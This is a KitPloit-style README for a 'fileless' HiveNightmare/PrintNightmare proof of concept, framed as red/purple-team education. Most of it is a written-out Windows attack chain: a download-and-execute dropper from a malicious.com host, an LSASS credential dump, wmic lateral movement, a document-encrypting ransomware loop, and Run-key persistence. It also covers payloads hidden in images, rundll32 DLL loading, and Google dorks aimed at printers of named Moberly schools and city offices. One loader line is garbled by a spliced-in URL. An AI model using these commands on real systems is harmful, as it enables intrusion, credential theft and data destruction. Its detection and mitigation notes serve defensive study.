## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-P1RAT3R00T-WHY-SO-SERIOUS-SAM
# HiveNightmare 'Fileless' Exploit PoC:
* * *
## Table of Contents
* Overview
* Features
* Lab Simulation Example
* Reconnaissance with Google Dorks
* LOLBins Overview
* Fileless Dropper Embedding
* Exploiting Print Spooler & HiveNightmare
* Reflective DLL Injection
* MITRE ATT&CK Mapping
* Detection & Mitigation
* Legal Disclaimer
* References & Further Reading
* * *
## Overview
**CVE-2021-36934/HiveNightmare** is an educational red/purple team research project that simulates a **fileless malware** attack framework on **Windows 11**. It enables the emulation of real-world adversary kill chains using MITRE ATT&CK techniques, with a focus on stealthy, fileless operations.
> **Warning:** For research and training in isolated labs only. **Do not use on production or unauthorized systems.**
* * *
## Features
* Simulates end-to-end fileless ransomware/wiperware attacks
* Demonstrates use of Living Off the Land Binaries (LOLBins)
* Showcases credential access, privilege escalation, lateral movement, and persistence
* Contains practical lab and reconnaissance examples
* Maps to MITRE ATT&CK for blue team detection exercises
* * *
## Lab Simulation Example
The following PowerShell simulation demonstrates a typical fileless ransomware attack chain using built-in Windows tools (LOLBins):
root@kitploit:~
# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/main/:Load($bytes)
# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
* * *
## Reconnaissance with Google Dorks
**Example Objective:** Identify publicly exposed printer services in Moberly, Missouri, potentially vulnerable to exploits like PrintNightmare.
**Sample Google Dork Queries:**
root@kitploit:~
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
* * *
## LOLBins Overview
**Living Off the Land Binaries (LOLBins)** are legitimate, trusted Windows binaries commonly abused by adversaries to bypass security controls and run malicious code filelessly.
**Example Use (Print Service Attack):**
root@kitploit:~
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
> Attackers use LOLBins like `rundll32.exe`, `regsvr32.exe`, and `powershell.exe` to execute payloads from network shares, often after identifying exposed printers or servers via reconnaissance.
* * *
## Fileless Dropper Embedding
**Goal:** Deliver payloads covertly by embedding archives within images and extracting them using native tools.
**Steps:**
1. **Embed Payload:**
root@kitploit:~
copy /b nsfw.jpg + payload.7z nsfw.jpg
2. **Extract & Decode:**
root@kitploit:~
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
> This method bypasses traditional file extension filtering and leverages built-in tools for evasive delivery.
* * *
## Reflective DLL Injection
**Technique:** Load and execute a malicious DLL directly in memory using reflective loading.
**Example:**
root@kitploit:~
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
> This enables stealthy, in-memory execution without leaving artifacts on disk.
* * *
## MITRE ATT&CK Mapping
* * *
## Detection & Mitigation
### Detection
* **Sysmon + Sigma Rules:**
* Monitor `rundll32.exe` loading non-system DLLs
* Watch for abnormal use of `certutil.exe`, `regsvr32.exe`, `mshta.exe`
* Track shadow volume access by non-admins
* **SIEM Examples (ELK/Splunk):**
* Alerts on execution from public shares
* Parent/child process anomalies (e.g., `explorer.exe` spawning `rundll32.exe`)
* Suspicious encoded commands in PowerShell or CMD
### Mitigation
* Disable Print Spooler where not needed:
root@kitploit:~
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
* Apply all security patches and harden ACLs
* Block or restrict LOLBins with AppLocker or WDAC
* Use EDR solutions that detect reflective DLL loading and in-memory attacks
* * *
## Legal Disclaimer
> **All content, code, and techniques in this repository are for educational and authorized penetration testing only. Do not use any part of this project outside of controlled, isolated environments and without explicit permission. The authors assume no liability for misuse.**
* * *
## References & Further Reading
* LOLOL Farm – LOLBin Playground
* LOLGEN – Generate LOLBin Chains
* Detecting SeriousSam
* DLL Injection Primer
* Print Spooler Exploit Chain
* Fileless Malware – Wikipedia
* PrintSpoofer (Original)
* HiveNightmare
* Mitre Attck T1055
* Hivenightmare demo
* * *
**Stay safe, research responsibly, and always use in a legal and ethical manner.**